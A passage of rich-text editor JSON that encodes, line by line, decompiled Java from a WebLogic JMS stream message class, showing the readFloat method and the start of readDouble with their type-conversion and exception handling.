{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7zBC-1677058245585&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RYWs-1677058245584&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(80), var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C27h-1677058245587&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;545g-1677058245586&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var6) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;g0hD-1677058245589&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pO0I-1677058245588&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.JMSException(this.streamReadError(80), var6);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gMyK-1677058245591&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IhcH-1677058245590&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6nhy-1677058245593&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9boL-1677058245592&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C4yn-1677058245595&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YIMb-1677058245594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RzAp-1677058245597&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9bZo-1677058245596&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public float readFloat() throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Df6V-1677058245599&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CeGA-1677058245598&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        byte var1 = this.readType();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vEEC-1677058245601&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FmHI-1677058245600&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s8ea-1677058245603&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uau4-1677058245602&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cg53-1677058245605&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BRnM-1677058245604&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            switch(var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U6J3-1677058245607&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2QhT-1677058245606&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 5:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0ZEb-1677058245609&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2oR8-1677058245608&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return this.bis.readFloat();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZPTG-1677058245611&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yg4p-1677058245610&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 9:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JfuE-1677058245613&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L3Lm-1677058245612&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 10:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LruC-1677058245615&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hlPX-1677058245614&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    int var2 = this.bis.pos();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nDzV-1677058245617&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TvFp-1677058245616&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hdPN-1677058245619&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i2MU-1677058245618&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dRPx-1677058245621&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RYlM-1677058245620&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        return Float.parseFloat(this.readStringInternal(var1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sb5o-1677058245623&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ezeD-1677058245622&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } catch (NumberFormatException var4) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kXZG-1677058245626&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OGRt-1677058245625&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.bis.gotoPos(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y5XJ-1677058245628&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;imMX-1677058245627&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.bis.unput();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZKRh-1677058245630&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T7OL-1677058245629&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        throw var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Jeh-1677058245632&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bfG0-1677058245631&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jcxs-1677058245634&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wrqh-1677058245633&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                default:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KZtr-1677058245636&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jQ5W-1677058245635&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.putTypeBack();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CfbM-1677058245638&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8OHr-1677058245637&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String var3 = \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rSPb-1677058245640&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5Aiq-1677058245639&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (this.readingByteArray) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;55JM-1677058245642&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1YTw-1677058245641&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        var3 = \&#34;. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DpOk-1677058245644&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3mqL-1677058245643&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Giq7-1677058245646&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wQd0-1677058245645&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8JTo-1677058245648&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cadd-1677058245647&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(5)) + var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6eQF-1677058245650&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UYUk-1677058245649&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Yhth-1677058245652&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xbK0-1677058245651&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (EOFException var5) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ErZd-1677058245654&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q2aw-1677058245653&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(90), var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;taP5-1677058245656&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;evYi-1677058245655&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var6) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EKPF-1677058245658&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iLas-1677058245657&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.JMSException(this.streamReadError(90), var6);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Iuay-1677058245660&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1kxR-1677058245659&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jRym-1677058245662&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UUH1-1677058245661&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;J28l-1677058245664&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FcYV-1677058245663&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MAn8-1677058245666&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2jK7-1677058245665&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public double readDouble() throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nASM-1677058245668&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;byTa-1677058245667&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        byte var1 = this.readType();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mSqT-1677058245670&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aBDr-1677058245669&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dJJR-1677058245672&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eKP8-1677058245671&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FQtu-1677058245674&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;spTv-1677058245673&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            switch(var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7Lml-1677058245676&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qB12-1677058245675&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 4:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GJzl-1677058245678&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e3XD-1677058245677&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return this.bis.readDouble();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XyRA-1677058245680&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Zl7R-1677058245679&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 5:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LArv-1677058245682&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;de7y-1677058245681&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return (double)this.bis.readFloat();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XIZf-1677058245684&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Miey-1677058245683&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 6:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tfZn-1677058245686&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;00Ob-1677058245685&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 7:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YruB-1677058245688&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rEV4-1677058245687&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 8:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UCxB-1677058245690&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OUvB-1677058245689&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                default:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wGWA-1677058245692&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;l7ut-1677058245691&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.putTypeBack();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GIJV-1677058245694&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TMGz-1677058245693&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String var3 = \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Woe-1677058245696&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6T6f-1677058245695&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (this.readingByteArray) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AQGA-1677058245698&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WUqi-1677058245697&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        var3 = \&#34;. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;61vZ-1677058245700&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e91z-1677058245699&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bqMM-1677058245703&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f7Re-1677058245702&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vTIj-1677058245705&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;78Kh-1677058245704&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(4)) + var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b9aN-1677058245707&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OVTW-1677058245706&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 9:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pp0U-1677058245709&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OjvV-1677058245708&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 10:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bPbI-1677058245711&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rT8T-1677058245710&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    int var2 = this.bis.pos();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uqlf-1677058245718&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6Mgz-1677058245712&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;frK8-1677058245720&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oLsG-1677058245719&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R3wq-1677058245722&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VggF-1677058245721&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        return Double.parseDouble(this.readStringInternal(var1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AZNJ-1677058245724&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;It60-1677058245723&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } catch (NumberFormatException var4) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bUr7-1677058245727&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sJFC-1677058245726&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.bis.gotoPos(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jHbt-1677058245729&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eI0Y-1677058245728&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.bis.unput();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NUDy-1677058245731&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bsAB-1677058245730&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        throw 